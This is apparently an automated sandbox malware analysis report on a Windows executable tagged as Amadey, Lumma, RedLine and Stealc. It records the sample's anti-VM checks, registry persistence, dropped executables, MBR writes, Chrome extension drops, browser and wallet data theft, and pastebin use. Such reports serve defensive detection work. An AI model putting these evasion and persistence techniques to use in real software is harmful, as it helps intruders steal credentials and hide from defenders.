Malware Analysis Report

2024-07-11 09:09

Sample ID 240531-bgj9haha91
Target 24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe
SHA256 24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a
Tags
amadey lumma privateloader redline stealc 1 49e482 @logscloudyt_bot zzvv bootkit discovery evasion execution infostealer loader persistence spyware stealer trojan adware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a

Threat Level: Known bad

The file 24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe was found to be: Known bad.

Malicious Activity Summary

amadey lumma privateloader redline stealc 1 49e482 @logscloudyt_bot zzvv bootkit discovery evasion execution infostealer loader persistence spyware stealer trojan adware

Stealc

RedLine payload

PrivateLoader

Modifies firewall policy service

RedLine

Windows security bypass

Lumma Stealer

Amadey

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Detects executables packed with or use KoiVM

Detects executables (downlaoders) containing URLs to raw contents of a paste

Sets service image path in registry

Command and Scripting Interpreter: PowerShell

Drops file in Drivers directory

Sets file execution options in registry

Modifies Installed Components in the registry

Downloads MZ/PE file

Blocklisted process makes network request

Executes dropped EXE

Reads user/profile data of web browsers

Reads data files stored by FTP clients

Loads dropped DLL

Identifies Wine through registry keys

Modifies system executable filetype association

Unexpected DNS network traffic destination

Checks computer location settings

Registers COM server for autorun

Checks BIOS information in registry

Installs/modifies Browser Helper Object

Enumerates connected drives

Checks installed software on the system

Maps connected drives based on registry

Checks whether UAC is enabled

Adds Run key to start application

Drops desktop.ini file(s)

Drops Chrome extension

Writes to the Master Boot Record (MBR)

Checks for any installed AV software in registry

Legitimate hosting services abused for malware hosting/C2

Accesses cryptocurrency files/wallets, possible credential harvesting

Looks up external IP address via web service

Suspicious use of NtSetInformationThreadHideFromDebugger

Checks system information in the registry

Drops file in System32 directory

Suspicious use of SetThreadContext

Drops file in Program Files directory

Drops file in Windows directory

Unsigned PE

Enumerates physical storage devices

Program crash

Suspicious behavior: LoadsDriver

Suspicious behavior: EnumeratesProcesses

Delays execution with timeout.exe

Checks processor information in registry

Checks SCSI registry key(s)

Creates scheduled task(s)

Suspicious use of WriteProcessMemory

Suspicious use of SendNotifyMessage

Enumerates system info in registry

Modifies Internet Explorer settings

Modifies data under HKEY_USERS

Modifies system certificate store

Suspicious use of SetWindowsHookEx

Modifies registry class

Suspicious use of FindShellTrayWindow

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-05-31 01:06

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-31 01:06

Reported

2024-05-31 01:09

Platform

win10v2004-20240508-en

Max time kernel

149s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe"

Signatures

Amadey

trojan amadey

Lumma Stealer

stealer lumma

Modifies firewall policy service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1" C:\Users\Admin\Pictures\SEEtKJ0XozwUKRMZhGWizSlI.exe N/A

PrivateLoader

loader privateloader

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Stealc

stealer stealc

Detects executables (downlaoders) containing URLs to raw contents of a paste

Description Indicator Process Target
N/A N/A N/A N/A

Detects executables packed with or use KoiVM

Description Indicator Process Target
N/A N/A N/A N/A

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A

Downloads MZ/PE file

Sets file execution options in registry

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe\DisableExceptionChainValidation = "0" C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7zS9621.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\e5789e1\download.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Pictures\guGDdTZAIP8FrHajzeB5bFh2.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\7zS9621.tmp\Install.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e5789e1\download.exe N/A
N/A N/A C:\Users\Admin\Pictures\guGDdTZAIP8FrHajzeB5bFh2.exe N/A
N/A N/A C:\Users\Admin\Pictures\UogaYUbUb8Aq5O10OiVnLPNU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Users\Admin\Pictures\fd1rvCQTEeMtlf306mcAhjvN.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Users\Admin\Pictures\SEEtKJ0XozwUKRMZhGWizSlI.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\MicrosoftEdge_X64_125.0.2535.79.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe N/A
N/A N/A C:\Users\Admin\Pictures\VyvE6nH9gRjNkmaLNl6lRdqy.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS93EE.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS9621.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS9621.tmp\Install.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
N/A N/A C:\Users\Admin\Pictures\360TS_Setup.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\Pictures\guGDdTZAIP8FrHajzeB5bFh2.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Users\Admin\Pictures\360TS_Setup.exe N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Registers COM server for autorun

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.187.39\\psmachine_64.dll" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{2B1EC306-3EDE-4012-9BB0-FB836132FF52}\InProcServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.187.39\\psmachine_64.dll" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ThreadingModel = "Both" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\INPROCSERVER32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.187.39\\psmachine_64.dll" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{2B1EC306-3EDE-4012-9BB0-FB836132FF52}\InProcServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.187.39\\psmachine_64.dll" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.187.39\\psmachine_64.dll" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.187.39\\psmachine_64.dll" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{2B1EC306-3EDE-4012-9BB0-FB836132FF52}\InProcServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.187.39\\psmachine_64.dll" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\INPROCSERVER32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{2B1EC306-3EDE-4012-9BB0-FB836132FF52}\InProcServer32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.187.39\\psmachine_64.dll" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ThreadingModel = "Both" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{2B1EC306-3EDE-4012-9BB0-FB836132FF52}\InProcServer32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{2B1EC306-3EDE-4012-9BB0-FB836132FF52}\InProcServer32\ThreadingModel = "Both" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.187.39\\psmachine_64.dll" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{2B1EC306-3EDE-4012-9BB0-FB836132FF52}\InProcServer32\ThreadingModel = "Both" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ThreadingModel = "Both" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{2B1EC306-3EDE-4012-9BB0-FB836132FF52}\InProcServer32\ThreadingModel = "Both" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ThreadingModel = "Both" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{2B1EC306-3EDE-4012-9BB0-FB836132FF52}\InProcServer32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ThreadingModel = "Both" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ThreadingModel = "Both" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Checks installed software on the system

discovery

Drops Chrome extension

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini C:\Users\Admin\AppData\Local\Temp\7zS9621.tmp\Install.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.myip.com N/A N/A
N/A api.myip.com N/A N/A
N/A ipinfo.io N/A N/A
N/A ipinfo.io N/A N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\Pictures\guGDdTZAIP8FrHajzeB5bFh2.exe N/A

Checks system information in the registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A
